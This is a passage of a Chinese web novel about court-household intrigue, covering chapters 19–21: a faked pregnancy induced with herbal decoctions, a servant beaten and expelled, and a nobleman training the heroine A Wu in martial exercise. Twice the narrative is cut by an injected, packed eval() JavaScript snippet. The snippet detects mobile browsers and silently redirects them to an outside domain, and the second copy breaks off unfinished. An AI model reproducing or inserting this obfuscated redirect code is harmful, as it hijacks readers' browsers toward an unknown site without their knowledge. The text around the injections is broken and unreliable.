众人围在一旁,几十双眼睛灼灼盯着老大夫的手,没有人相信柳阿五怀孕了。 “回侯爷夫人。”老大夫诊了足有一盏茶的脉,这才稳稳起身道:“少夫人脉象往来流利,如盘走珠,的确是喜脉不假,从脉象上看应有月余。” “不过少夫人身子太弱,此胎凶险还需好生调养,切莫动情劳累。” 竟然是这样,怎么会这样。 柳阿五不敢相信自己的耳朵,难道她真的怀孕了,不可能啊,算算自己的小日子,不觉大惊,七日前应当是来癸水的日子却没有…… “不可能。”桓素娥尖利的嗓音刺破宁静,“她怀孕为何不早说。” 谢大夫看向柳阿五,“少夫人恐怕劳累过度,自己都没有察觉吧。” 这是在询问她,可是阿五却怔愣愣没有作答。 她自己也不确定到底有没有怀孕了,按理说不可能有孕,可现在不仅大夫说她有孕且自己的小日子都过了七八日了,一向比较准的月事也没有来。 糊涂了,究竟是怎么一回事。 “大夫还是再仔细诊一诊。”谢氏也不相信阿五有孕,“会不会有旁的什么可以造成滑脉,难以分辨。” 老大夫刚想摇头,就听身后的小徒弟喃喃道:“若是吃了一些东西,也可以诊出滑脉类似有孕……” 那一刻阿五瞪大了双眼,因为她从桓晏的眼神中看到了一抹凌厉凶狠的光。 “莫要胡言乱语。”老大夫厉声打断了小徒弟的话,却被谢氏和在场的人都听到了。 “谢大夫莫要吓坏孩子。”谢氏笑了笑,问小徒弟,“你方才说的话仔细说来。” 小徒弟不过是低头琢磨脉案,被这么拎出来一问,再对上师父严厉的眼神瞬时被吓得白了脸,跪在地上不敢言声。 “夫人问你话,你便如实答来。”谢大夫沉了声音,又向侯爷夫人请罪道:“顽徒叫四喜,不懂规矩冲撞了侯爷夫人。” “无妨。”桓伯承让人扶起四喜,“把你方才的话仔细说来听听。” 四喜这才战战兢兢看了一眼师父,在看到师父点头后才如背书般道:“当归补血活血,可使气血充盈脉象滑利。川芎行气活血,可增强血流速度。红花桃仁破血通经,可能短期改变脉象。黄芪补气升阳,七组则血行滑利。熟地黄滋阴补血,可能是脉象柔和圆滑。麦冬沙参养阴生津,可能是脉象细滑。枸杞子滋补肝肾,长期服用影响脉象。还有黄连黄……” 如数家珍,可见所学认真。 “够了。”谢氏打断了他教条式地回答,但意思却是明明白白的。 “谢大夫,你是侯府的老人,也是一众府医中最出色医术最好的。”谢氏缓慢开口,若有所思,“四喜方才说的这些可是属实。” 谢大夫答:“的确属实。” “那当如何辨别喜脉真假。” “无法短时间内辨别,除非……”谢大夫看向柳阿五,“等到三四个月胎位坐稳,方能判断。” 原来如此。 柳阿五陡然想起这段时日桓晏日日都会给她喝汤药,起初她以为是避子药,后来即便什么都没发生他依然让她喝,美其名曰补身,想来应当是那药的缘故。 如此说来,这盘棋他早就在布局了。 阿五看向桓晏,对方刚巧也在看她,深邃幽黑的眸中闪着意味不明的光,他本就生的眉眼凌厉精致,这样灼灼对视竟显得目光深情热烈,意志不坚者立时便能坠入他这柔情如蜜实则是无底深渊的套路里。 “我不信她有孕。”大房妾室陈氏是谢氏的陪房,看着侯夫人的脸色站出来阴阳怪气道:“夫人可是让她避子的。” “避子汤也有不起效的时候。”说话的是二房桓含嫣的母亲,二老爷的正头夫人,“大嫂,宁可信其有不可信其无,不妨等上两三个月一看便知。” 情况已然很明了了,别管桓晏究竟出于什么目的将她推上这风口浪尖,眼下阿五只能接招。 快速眨了眨眼,柳阿五敛神向桓伯承行礼,“求侯爷夫人信阿五一次,阿五愿自请离府,待到三个月后自证清白。” 离府是不可能的,侯府让怀了身孕的少夫人离府别居,被人知晓了桓氏的脊梁骨要被人戳断的,阿五之所以这样说一则以退为进,二则是想暗示自己有孕在身在侯府这样虎狼环伺的地方怕是不安全,无法保住腹中孩儿。 不用明言,能懂的人自然听得懂。 “快扶少夫人起身。”桓伯承果然变了态度,“既然怀了身孕自当留在府中好生休养,至于其他。” 桓伯承环视一圈,肃容厉声道:“即日起阿五 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阿五明白了,既然被人算计若只能自保为下,若能让对方损兵折将方为上策。 “这几日府中忙碌,夫人身子不好,我去请安几次都被赖嬷嬷挡了回来,无奈之下我便将有身孕一事告知了赖嬷嬷,请她禀告夫人。”阿五泪流满面,边哭边说,“可是却没有等来任何消息。” “柳阿五你血口喷人。”赖嬷嬷在一旁坐不住了,扑通一声跪下,“夫人莫要听她胡言。” 赖嬷嬷又急又气,一根手指戳向柳阿五的脸前,“柳阿五你何时同我说过你有孕。” “就是从宫中回府那一日,我当时还特意拜托您老等夫人身子好些告知夫人。”阿五抬眸看向谢氏,泪眼婆娑,“当时赖嬷嬷同我提过她家儿子,说若是大公子当真出了意外,想让我……” 满脸羞愤,阿五咬牙道:“让我帮她儿子启蒙房事。” 众人哑然,赖嬷嬷有多心疼她家那个傻儿子大家都知晓,那傻子的经历同谢氏脱不了干系,为此谢氏也十分照顾赖嬷嬷。 “胡言乱语。”赖嬷嬷气急败坏,“你血口喷人。” “赖嬷嬷我当时为了拜托你千万禀告夫人,还将自己的金镯赠予你。”阿五痛哭流涕,“夫人认得那是大公子赏给阿五的,阿五一直戴在身上。” 果然,上来两名小厮扒开赖嬷嬷的手腕,那明晃晃金灿灿的镯子就戴在她的手上。 “我知道你因为儿子痴傻一事一直耿耿于怀,还说夫人欠了你的,总要让侯府拿一个孩子来还,可是你怎么就盯上了我的孩子呢。”阿五声泪俱下,“这可是侯府的骨肉啊,你怎么敢。” “别动气,小心伤了身子。”桓晏一个眼神,碧玉赶紧上前服侍阿五,二人目光相接一瞬,彼此心领神会。 众人面面相觑不敢言声,谢氏此刻也再不发言,一双眼死死盯着赖嬷嬷,那个傻子的事的确是自己亏欠了她,可是赖嬷嬷心生怨怼便是不敬,更何况现在这个局面必得有人顶罪,只能舍掉她了。 谢氏闭目再不看赖嬷嬷一眼,“一切由侯爷发落吧。” 任由已经吓破胆的赖嬷嬷无声哭泣,跪地求饶也无动于衷,跟随她身边侍奉半辈子的人就这样被牺牲掉了,丝毫没有替赖嬷嬷求情的念头,阿五觉得心凉,哭得红肿的杏眸看向桓晏。 方才的默契纯属意外,面前这个人只怕是比谢氏还要难缠毒辣十倍百倍的。 眉宇间愁思难掩,后悔自己招惹上这个麻烦,只怕日后她的日子更难了。 19. 借腹 赖嬷嬷被打了五十板子,从此撵出府去。 这是桓伯承的发落,对此谢氏未置一词,板子是当场打的,阿五别过脸去不忍看,只知道最后几下人没了声呼吸都减弱了,也不知还能不能活。 她不认同赖嬷嬷的为人,却也觉得这样对待一个生命太残忍。活生生的人,那么大的年纪,说打就打毫不留情,没了颜面也丢了性命,真如草芥一般。 阿五觉得不公,所有的下人都是这样的命运,自己的生死握在主子手里,只有讨得主子欢心才能苟活于世。 这叫杀鸡儆猴,是要做给下人们看的,也是做给阿五看的。 现在是赖嬷嬷,三个月以后呢,焉知会不会轮到她。 想要查的事情毫无头绪,甚至都不知道从哪里开始着手,三个月,如何能躲过这一劫。 阿五觉得头疼,头一次有了绝望的感觉。 还有那个人,他明明早已洞悉一切并做好应对,却什么都不跟她说,还要让她自己面对,就算她心领神会和他配合默契,那也只是巧合。 就算他最终的目的是要让谢氏损兵折将,估计也做好了将她祭出去的准备了吧。 险些,她若是反应再慢些性子再软些,或许今日死的就不只是赖嬷嬷了。 是,他的确救了她一命,可也将她推进了新的深渊,这个深渊他桓晏才是主宰者。 说到底,她只是他手里的一颗棋子,执棋者不会考虑棋子的感受和死活的。 他们之间有着天然的无法逾越的阶层沟壑。 眸光向上,对上那人冷冽深邃的目光,却再没了碰撞的火花。 桓晏在看到阿五眼神的一刹那,只觉得心里震荡了一下,她面色灰败双唇颤抖,往日里那双好看的杏眸或引.诱或可怜或愤怒或委屈……总会有他能看懂的激烈的情绪,彰显着她顽强的生命力。 可是现在,那双眼依旧潋滟夺目,却失去了希望和力量。 桓晏微不可察地蹙眉,将手背在身后握紧成拳。 他早已洞察一切并且布置好了应对之策,借着她的聪慧和机敏,定能成事。 只是他忽略了她的感受,一个被搓磨了十年的小娘子本就如惊弓之鸟,现在她恐怕是怕极了,也恨极了他。 罢了,慢慢来,她会…… “呕” 阿五吐了,紧跟着一阵剧烈地咳嗽,整个人弓着腰面色涨得通红,看上去虚弱又可怜。 倒是像极了有孕。 桓晏背在身后的拳捏得更紧了,不着痕迹地看了一眼碧玉,小丫头心领神会忙去伺候照料。 桓伯承命人将赖嬷嬷抬了出去,地上一滩血水淋漓着洒下血迹,小厮家丁们忙着打扫清理。 桓晏的目光扫视一圈,方才就发觉沈月棠的神色似乎有异,害怕紧张,更多的是焦虑和担忧。 “让小以查查沈月棠。”桓晏吩咐昌平,昌平领命去办。 不知是不是巧合,阿五刚吐完谢氏又晕倒了,赖嬷嬷不在身边桓伯承调了谢氏的另一位陪嫁庄嬷嬷近身伺候,其他的他这位家主便不再过问了,只留了一句,府宅之事交给桓晏处理,内宅之事都去问少夫人。 侯府好似变了天,府医们围在谢氏的床榻边会诊,静怡堂的丫鬟小厮仆妇全都被调查清理,重新换了一批,里里外外都是陌生的面孔,谢氏醒来一次又被气晕了。 按照侯爷的吩咐,柳阿五作为少夫人搬进了翠竹轩的主屋,那原本是大公子桓启元的居所,里里外外都被重新收拾装饰,用轻纱幔帐和明亮柔和的颜色代替了原本老成朴素的暗调,增加了花卉、摆件,拿走了桓启元的笔墨纸砚和书籍。 一切都是按照阿五的喜好布置的,小院里增加了秋千和藤蔓,不似从前的清冷素净,多了一层温柔清雅舒适。 阿五的吃穿用度也变得精细考究起来。 一柜子的锦衣软袍绸缎轻纱,妆奁里摆满了金银珠钗翡翠玛瑙,可是阿五一样也不喜欢,每日仍旧穿着从前习惯舒适的衣衫,简单挽发斜插百合银簪,那是她自己亲手做的,简约大方不张扬。 这样的待遇越发让阿五不安起来,这样装样究竟能装到几时,还有她心里一直惦记的事,如今这般每走一步一群人伺候着,可如何去查,又该从何处入手。 想到这些,阿五心烦意乱,日日憋闷在屋里,她不想管什么侯府的中馈,这与她何干,却又不知如何破局从哪里入手去查自己想查的事。 每日萎靡颓废茶饭不思,显见的瘦了下去。 “姑娘吃一些吧,你都好几日没怎么好好吃饭了。”珍珠一边把桌上的餐食摆好,一边劝她,“你看都是你爱吃的菜,自二公子给咱们小厨房换了厨子,那味道简直可以媲美珍馐阁了。” 珍馐阁是京城出了名的酒楼,以菜品精美味道绝佳著称,且布置得富丽堂皇,据说等闲人就算你再有钱也是没有机会进去享用美食的,那里只接待达官贵人。 阿五懒懒道:“说得就跟你吃过珍馐阁的菜一样。” “奴婢是没吃过,可是好吃的味道想象一下就能知道了。”珍珠是个有一日过一日不多想的性子,看着满桌子美食早已垂涎三尺了。 “你若喜欢都替我吃了吧。”阿五恹恹起身坐回到床上去,将上半身埋在被子里,松松软软的感觉很舒服,“我没胃口。” “姑娘,你不会真的怀孕了吧。”珍珠瞪着一双大眼睛诧异地看着她。 这丫头忠诚直爽性子也好,就是脑子不太够用。 “好珍珠,几日前才换过月事带,你忘记了。”阿五没精打采地提醒她,“我就是觉得这日子过得没盼头。” “为何没盼头,每一日的菜都不一样,多有盼头。”珍珠的眼睛就没从那些饭菜上挪开过。 这句话倒是把阿五逗笑了,是啊,一日三餐顿顿都有期待都有盼头,然后得到想象中的满足,继续期盼下一顿,日子不就是这么过来了吗,这样的日子不好吗。 相比过去,不用再去练那些个不堪入目的技巧,不用小心翼翼看脸色说话过日子,不用被人搓磨任人欺负还要做小伏低敢怒不敢言,这样的日子可真是太好了。 但是阿五就是不高兴。 环顾四周,翠竹轩碧绿参天古意浓浓,院子里的花花草草随意又错落有致,很美。 可是面对这样的四面高墙,阿五就是觉得压抑。 这里不是她的家,即便布置得再合她的心意也不是她的家,她想离开,等办完自己该办的事情就离开这里。 天涯海角总有一处小小的地方是属于她自己的,总有一件事是值得她为此付出一生的。 不管是什么样的生活,绝不会是现在这样精致完美的囚笼。 “姑娘,姑娘想什么呢。” 阿五出神地想着,珍珠问了两声便没了下文,她也没在意。 “饿死自己这个法子太笨。”身后熟悉的声音响起,一道伟岸挺拔的身影挡在眼前,当啷一声长剑掷地,“借给你,自行了断。” 面前的男人眉眼凌厉面无表情地看着她,阿五忍下心中郁闷起身整理了一下衣衫请他入座。 一桌子美味佳肴她却丝毫提不起兴趣,桓晏打量着阿五,碧玉说得果然没错,她这几日恐怕就没吃几口饭。 小娘子兴致缺缺垂目盯着自己的脚尖,木呆呆的小脸没精打采,再不似从前求他救命那般殷勤主动。 还真是用完就扔。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859829|175964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 桓晏起身向她走近两步,拉起她垂在身前的双手,阿五倏然一惊下意识想要挣脱,可那手似铁钳,她只好忍着厌恶跟随。 小娘子一脸薄怒满脸通红眼中含着火气,桓晏满意点头,撩袍落座执筷道:“这才对,过来吃饭。” 眉眼含笑,促狭得很。 阿五不语却也拗不过他,只得默默坐下再不吭声。 “吃饭要专心。”桓晏今日似乎心情极佳,往她碗里夹了块肉道:“看来你的口味同我极相似,我们倒是能吃到一处去。” 阿五不语,装作没听见,只想快点儿熬完这顿饭。 这人今日是怎么了,作什么妖。 “吃了饭把这碗药喝了。”桓晏将药碗端到阿五面前,看着她。 “那四喜说得没错,应当就是先前用的这些药才让谢大夫诊断出是滑脉的吧。”阿五问他,桓晏点头算是默认。 “果然如此,二公子好谋算。” 小娘子语气不善。 “五儿又忘了,叫我怀松。”他幽幽提醒,慢条斯理地进食,看上去极好脾气的样子,“欢爱之时唤晏郎。” 阿五抿唇忍着羞愤瞪着他,青天白日的抽什么风。 桓晏看了她一眼,慢条斯理道:“瞧瞧你现在的模样,若是提前告知你计划,你还会有那样的反应吗,到时候露了馅还要本公子为你收拾烂摊子,麻烦。” 呵,柳阿五要气笑了,歪理邪说振振有词。 “三个月后没有孩子定然露馅。”阿五讥讽,“恐怕一样会给二公子惹麻烦。” 看到桓晏定定地看着她,一双深眸波澜迭起却又显得风平浪静,不知在想什么,阿五也不理会索性大口吃起饭来。 “与其焦虑这些不如好好作养身子。”片刻后桓晏才开口,“三个月足够利用资源做成一些事,还以为嫂嫂心有筹谋不似那等无知妇孺,如今看来,并无二致,一样的愚蠢。” 他又叫她嫂嫂,还骂她愚蠢。 阿五瞪着他,刚想开口就听桓晏粲然一笑,那张俊逸出尘的脸逼近眼前,低沉的嗓音在耳边响起,“孩子的事你不用担心,我可以借腹给你。” 阿五:…… 真不要脸。 “这几日你也歇得差不多了,明日起每日早起半个时辰,我亲自教你练拳。”桓晏收回笑意,脸上又恢复了一如既往的冷肃,“还有,你既挂着少夫人的名头便该实打实做些事。” 桓晏从上到下打量了她一眼,“给你的首饰衣裙为何不穿戴,当一天和尚撞一天钟,道理你应该懂。” “侯爷将侯府交到你手上,那些账目你该好好看看。”桓晏冷哼一声,“而不是整日躲在床上只知道哭。” 说完好似想起什么,桓晏轻飘飘看她一眼,讥讽道:“久闻五儿是全才奇女子,不会连看账都不会吧。” 阿五憋闷,别过脸去不想理他。 谢氏最忌讳她学管家学管账,所以这些事她一窍不通。 “也罢,本公子就勉为其难,亲自教你吧。” 阿五哑然,瞪着一双大眼睛不可思议地看着他。 他究竟想要做甚。 桓晏也回看她,水灵灵的大眼睛透着惊恐和不解,樱唇轻启,贝齿小乔莹润,不禁让他想起了那一晚她因耐不住他的凶猛苦苦哀求未果后,在他肩胛处狠狠咬了一口。 小小的圆润的牙印,甚是可爱。 桓晏下意识伸出手抚上那一处,已经被他刺在了那里,永远都跑不掉了。 言尽于此不再多说,桓晏起身离去,长腿迈出门槛后顿住,回头看她,“五儿,听话。” 锦衣飘飘袍裾飞扬,走得飞快,转瞬间不见了踪影。 20. 撒娇 卯时正,天边湛蓝模糊间可视人影,翠竹轩的灯盏次第亮起。 珍珠和碧玉一前一后打帘进门,珍珠进入里间走至床榻边挑起垂纱幔帐,碧玉将洗漱的铜盆斤栉放好,再去衣架处整理衣裳。 “姑娘,起……” 珍珠掀开帘子想要叫阿五起床,便看到小娘子瞪着一双大眼盯着帐顶发呆,眼下一片乌青。 “怎么了这是。”珍珠忙查看她有何异常,“可是身子又不舒服了。” “对,我不舒服。”柳阿五赶紧拉上被子蒙住头,“难受,胸口痛,头疼,浑身都疼一宿没睡,好珍珠,你去跟他说我今日还是不学了。” “他?谁啊。”珍珠疑惑,待看清柳阿五的表情时瞬间垮了脸,一想起桓晏那冷厉冰封的脸不禁打了个哆嗦,“我算什么小蚂蚱,我不去……” 一转头看到正在整理衣裳的碧玉,眼珠一转清了清嗓道:“那个碧玉姐姐,姑娘今日不舒服,你去同二公子说一下,等姑娘身子好了再去习武练习。” 床榻上,阿五屏住呼吸眨巴眼睛等待着碧玉的回答。 碧玉顿住手朝里间看了一眼,笑眯眯道:“好,奴婢这就去,姑娘身子最重要。” 如释重负,柳阿五默默吐了一口气就听碧玉又道:“二公子看重姑娘,定会让姜太医来替姑娘瞧瞧,还请姑娘先起身免得到时麻烦。” 好伶俐的丫头啊,以退为进。若是告诉桓晏她生病了,以他的脾气必定会让那位刻板认真的姜太医过来给她诊脉,到时候可就不是习武这么简单了。 阿五吹了一下前额的刘海,歇了装病的心思。 起床。 碧玉笑了笑忙过来侍奉,“姑娘体弱,想来二公子也不会让姑娘太累着,习武健身对您身子好,所谓留得青山在不怕没柴烧,好日子还长着呢。” 阿五从镜中看着碧玉,这个丫头长珍珠两岁,行事却稳重许多,伺候这些日子处处妥帖周到。 他果然会选人。 珍珠在一旁听得直点头,“碧玉姐姐说得对,姑娘自小身子不好,如今再不像从前……” 发现说错了话,珍珠愣了一下,“呸呸呸,奴婢重说,如今姑娘有了靠山也该好好调养身子,好日子长着呢。” 说完自己很满意,朝着阿五露出灿烂得意的笑容,求夸奖。 “谁,谁是我的靠山。”阿五看着她。 “自然是二公子咯。”珍珠一副理所当然的样子,“她们都这样说的,况且……” 阿五伸手去捏她圆圆的脸蛋,“这种话叫人听见你就再没有大肘子吃了。” 吓得珍珠咋舌忙摆手求饶,碧玉在一旁笑,“姑娘放心,咱们出了这个门绝不会多说一句话。” 阿五松手叹了口气道:“既来之则安之,那便简单梳妆吧,迟了又要麻烦了。” 尽管珍珠碧玉手脚麻利,阿五来到清风苑的时候还是迟了。 清风苑是桓晏居住的院子,位于府宅西侧同翠竹轩位置相对,中间隔着宴客厅、假山、两道回廊还有一个小池塘。 这里的风格完全不同于翠竹轩,没有花卉果树翠竹,院子里干净广阔,一个小小的池塘,角落里是造型奇异很像字型的假山,一旁的白墙竖了整排的兵器架,旁边还有沙袋和各种石墩铁块,摆放得整整齐齐看着很是干净清爽,大大的院子再无其他一览无余。 倒是跟他这个人很像,冰冷、生硬。 再想想,宫里的皇城司还有他宫外那间宅子的布置也大同小异,看来桓晏是个不会在居所上花心思下功夫的人,给人一种他随时都能抽身走人的感觉。 “今日迟了一炷香。” 冰冷的声音传来,桓晏赤裸着上身两只手正在轮番举起石墩。 “是我第一日还不太习惯。”阿五赶紧解释,垂着眸兴致缺缺也不看他。 等了许久对面没有回应,阿五这才掀起眼皮看过去,灿烂明艳的阳光洒下将他身上细密的汗珠照得透明发亮,墨发高高束起,身上的肌肉遒劲有力,整个人在阳光下发亮。 粗臂细腰,宽肩窄臀。 “过来。” 阿五还未看完就被桓晏的声音打断,皱了皱眉不情不愿地垂着头走过去。 近前才看到他精壮健硕的身材充满着男子气概,小麦色的皮肤被汗水浸透,隆起的肌肉曲线很美,不禁让阿五想起了激荡的黑夜中男人在她身上使不完的力气和欲求不满地索取。 袒胸露乳,有碍观瞻。 阿五红着脸看向一旁。 东方日出,温柔缱绻,洒下一片金光,将小娘子的羞怯放大。 桓晏不着痕迹地勾了勾唇,她今日穿的是他给准备的正红色的劲装,窄袖短衫,利落的外裙里面是绑脚的绸裤,脚上是一双红色绣暗纹的长靴,发髻高高束起在脑后绑了一条马尾。 平日柔软细弱的小娘子陡然变得利落飒爽,虽眉眼仍怯懦羞涩,可这身红衣恰到好处地展现了她玲珑有致的身段,越发衬得那本就白皙细腻的皮肤嫩如凝脂。 “阿五,你来了。”二人沉默之时桓晏身后朝这边走过来的昌平很开心地同阿五打招呼,“你今日可真好……” 话说一半对上桓晏凌厉如刀锋的眼神,这才意识到自己失态了,忙拱手磕巴道:“主子,属下,属下回来……” “没规矩,先去领罚。”阴冷的声音传来,昌平冷汗淋漓速速离去。 晨风拂面,清甜舒爽。 “迟了一炷香,今日多罚练两炷香。”桓晏收了剑,寒铁入鞘的声音同他的嗓音一般冰冷,不容置疑。 阿五默默咬牙抬眸,看到他已擦干汗水的胸前脊背上大大小小的疤痕,胸口那个尤其长且深,赭红色的一条触目惊心,其他的伤口也已痊愈,留下深深浅浅的印记。 她记得那凹凸不平的手感,那时不敢看,今日赫然眼前才觉骇人得很。 难怪他会有除疤消痕的膏药,阿五想。 一抬头对上那双深邃幽黑的双眸,面上骤然发烫,两眼都跟着酸涩起来。 “去选一件兵器。” 阿五愣愣应下,走到那一排兵器架上摸摸长刀又碰碰铁箭,一样都不喜欢。 桓晏已然穿好了外衫,看着她如选首饰一般轻轻摸浅浅碰,一张小脸皱成了苦瓜,全是嫌弃。 “都不喜欢?”他问,“是嫌不好看?” 他又讽刺挖苦人。 阿五转身看着他,坦言:“我拿不动,也不喜欢。” 哪里会有小娘子喜欢这些个冰冷又沉重的东西。 长长的沉默,阿五已经做好了再次被罚的准备,就听桓晏开口,“也罢,你需先强身健体,这些兵器日后有衬手的慢慢挑选。” 所以呢,阿五不明所以地看着他,是不是今日就先这样了,她可以走了吗。 “过来。”桓晏撸起袖子站在院子中央,“先练基本功,今日教你扎马步和跑步。” 阿五:…… 来不及插话,桓晏已然做好了姿势。 “两腿叉开与肩同宽。” 他的指令就像他的表情一样, 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美人坐在地上因疼痛落泪,此时又因站不起来而羞怯恼恨,一张小脸像熟透的苹果,白皙柔嫩中透出娇艳的红润,长长的羽睫上沾着晶莹的泪珠,要落未落,樱唇莹润通红,因生气微微撅起,鼓起的两腮似孩童般可爱。 这张脸啊,时而惹人遐思让人恨不能为她去死,时而又这般娇俏迷人。 “起不来?” 桓晏声音落下,阿五赌气似的点点头又摇摇头。 “那你便坐在这里吧。”他竟然抬腿要走。 “我……” 阿五着急叫住他,桓晏背对着她,高大的身影遮住了直射的日光,将她娇小的身形笼在暗影里。 “好疼啊。”娇滴滴的声音带着哭腔,阿五蹙眉咬唇,“二公子能否抱我起来。” 美人提出这样的要求,谁又能拒。 桓晏面无表情,“不能。” 阿五抬眸看他,“是你把我弄伤的,我……” “我,我错了还不行吗。” 娇娇怯怯,嘤嘤低语。 阿五的样貌柔软妩媚,带着撒娇撒痴之态实在惹人怜惜,她自知自己的优势和男人的短处,想要达到目的,使些手段是必要的。 果然,灵验得很。 桓晏似犹豫了一瞬,大步走过去俯身一只手臂便将阿五抱起。 缩在男人怀里,触手可及那坚实硬朗的胸膛,阿五觉得烫手。 但还是慢慢地,一点一点地摸了过去。 “我这脚恐怕一时半刻不太能好。”她觎着他的脸色,适时提出自己的要求,“二公子能否饶过我这一次。” 桓晏大踏步抱着她进屋,将人放在圈椅内转头吩咐:“去请姜太医。” 又是姜太医,这人是不用上职的吗,阿五腹诽。 脚踝的确肿起,趁着太医来之前必须拿下他。 “求二公子放过我这一次,阿五必定加倍回报。” 桓晏曲一条腿蹲在她脚边仔细查看,似乎并未听见她说话。 这撒娇撒得都快腻味死她自己了,这人是个木头吗。 “也好,你且休息几日吧。” 成了,阿五心中大石落地,“多谢……” “不过,其他练习还是照旧。” 话被咽进肚子里,阿五彻底破功,垮着一张脸实在挤不出一丝笑容。 姜太医进门,桓晏转身出去,在她看不到的地方勾起了唇。 21. 欺负 脚腕伤得并不严重,但是姜太医是个慎重保守的性子,再三叮嘱阿五好生休息不可随意乱动,阿五认真点头记下,心里为曾经腹诽过这位经验丰富的大人而道歉。 但是,这并不影响桓晏对她的训练。 “可是,姜太医说我的脚腕……” 望着面前大小不一的十个沙包沙袋,阿五眨巴眨巴眼睛,泪盈于睫。 随时随地大小哭大概是她与生俱来的技能,桓晏别过脸去不看她。 “所以这些沙袋用来练习手臂力量的。” 想起那日夜晚,她被黑衣人束手就擒的样子,桓晏恨不能捏死萧承。 “若是臂力强一些,虽说男子抵不过倒也不至于让人不费吹灰之力就拿捏。”桓晏走近她,低头看着坐在圈椅里的柳阿五。 小娘子骨架小又长得瘦弱无力,一双臂膀纤细白嫩都是软肉,好像一使劲就能折断一样。 “为什么要同男子比臂力。”阿五不解,“练习臂力难免全身用力,脚踝……” 不想练,一点儿都不想练。 “那是因为你不会使用力气。”桓晏声音不大却不容置疑,“所以才要好生练习。” “二公子,求……” “故技重施练习加倍。” 心思被戳穿话被堵死,尴尬,无助,恼恨……无济于事。 看来这一次是真的躲不过了。 桓晏拿来一个最小的沙包,只有手掌大小,约莫两斤左右的重量。 “一手一个反复做平举、正推和上举的动作。” 他一边说一边亲自示范给她看,果然是简单的动作,且用不到腰以下的部位。 躲不过就试试吧。 简单重复的动作,阿五试了几下倒是不难,虽无聊了一些却不觉得费力气。 “那就每个动作先做一组。”桓晏对她的动作很满意,转身换了长鞭去练,“一组一百个。” 阿五:…… 两眼一黑,想死。 日头逐渐升高,好在院子里种着几棵参天大树,绿荫遮蔽,阳光透过叶缝照下来,落在地上便是一个一个亮亮的光斑。 阿五看着那些光斑,心里一下一下默默数着。 这才只是第一个动作前推,刚数到四十下出头就已经觉得两臂酸疼额角冒汗,没力气了。 “阿五,这才四十二下。” 一旁被桓晏命令看着她练习的昌平拖着刚被打完的屁.股提醒,“不过,其实你可以三个动作穿插做,每个动作三十下,这样就不会太累了。” 是哦,怎么不早说。 阿五已经没了力气同他说话,想要找块干净的巾帕擦汗也找不到,索性直接抬起手臂抹掉前额的汗水。 这会儿刘海都黏在脸上,浑身发热冒汗,一定丑死了。 阿五心里想了一下,也不敢耽搁,开始交叉做第二个动作。 这样刚开始觉得好一些,可是练了十几下就又觉得酸疼无力,抬不动了。 “阿五你的动作不标准了。”昌平十分敬业地在一旁提醒,“平举的动作臂膀要同肩齐平,你都垮下去了,应该再高……” 阿五一双漂亮的大眼睛瞪过去,昌平立时噤了声。 从来都知道阿五姑娘温柔好脾气,还从未见过她翻脸瞪人的。 虽没张口,可那张漂亮的脸蛋已经很愤怒了。 “呃……”昌平下意识看向不远处正在练武的桓晏。 主子的鞭子使得出神入化,但平日却不常练,今日应当心情极好,长鞭在他手中收放自如有如神助,简直让人震惊。 可是阿五姑娘似乎连一眼都没看。 “阿五你看,主子的长鞭简直神了。” 刚巧桓晏一记游龙戏凤出手利落回鞭潇洒漂亮。 “好。”昌平激动地拍手叫好,还不忘提醒阿五,“快鼓掌啊,多好啊,没人比我们主子会的东西更多了。” 昌平一脸骄傲,阿五瞥了一眼练鞭的桓晏,看不出哪里好,也不想看。 自己头上还有三座大山压着呢,哪里有心思欣赏别人的表演。 再说,她对习武一丁点儿兴趣都没有。 阿五抿唇使劲继续练习,挥汗如雨面颊上覆的粉这会儿肯定都花了,明日绝不上妆了,对了,还要多带几条巾帕,好渴啊,明日还是让珍珠不对,还是让碧玉跟着来吧,他的人他应当不会拒绝。 “阿五,其实……” “别跟我说话。” 昌平刚一开口就被阿五打断,小娘子真是累极了却也是个倔强的脾气,咬着牙也要坚持,昌平欲言又止地看着她帮她数数再不敢开口。 初夏的风凉爽中带着果香的清甜,让人神清气爽。 好容易,阿五做完了三百个沙包推举,两条胳膊已经失去了知觉,浑身上下被汗水浸透,这会儿只想沐浴躺下。 桓晏也刚好收了势,将长鞭放好走过来。 他脸上被汗水沁润透亮,隔着轻薄的衣衫能看到结实的肌肉。 “主子今日练得真好。”昌平由衷赞叹,在他心里桓晏就是完人。 “如何了。”桓晏拿起一旁随从送过来的凉茶,递给柳阿五一杯,“润润嗓,刚练完记得不能喝冰冷的东西。” “回主子,阿五姑娘一口气做完了三百个,动作标准,中间都没停下歇息。” “哦,这么厉害。”桓晏的声音轻飘飘的,似是不信。 等等,阿五看向昌平,什么意思,中间可以休息的吗。 昌平被她看得心里发毛,不知哪句话说错了,今日算是见识了,这好脾气的小娘子当真生起气来也是能吃人的。 “你怎么不告诉我可以休息。”阿五怒目圆睁,一张脸越发红起来。 “我……”昌平被她吓得着急,嘴变得笨拙起来,“我,你没问啊,我想说来着你不让我……” “三百个,让我一口气做完,你们……”小娘子终于忍不住痛哭流涕,“太欺负人了。” 花容失色号啕大哭,再不是那种嘤嘤恹恹地梨花带雨,柳阿五哭地委屈、憋闷,如洪水决堤一发不可收拾。 昌平吓得恨不能给她跪下,哭丧着一张脸想劝又不知说什么,只一个劲儿地认错,“对不住是我错了,姑奶奶求你了,别哭了。” 阿五不理,哭得更狠了,鼻涕眼泪流了一大把无处可擦,所幸一旁的台子上放着白色的绢绸,也不知是什么拿过来直接抹掉涕泪。 昌平:…… 那可是主子的里衣,主子最不喜人家碰他贴身的东西。 “阿五这是……” 昌平想阻止她被桓晏抬手打断了,示意他退下昌平如蒙大赦一溜烟跑没影了。 “是我没说清楚。”他等了好一会儿,直到面前的小娘子抽抽搭搭,抬眼看他,这才幽幽开口,“不然…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 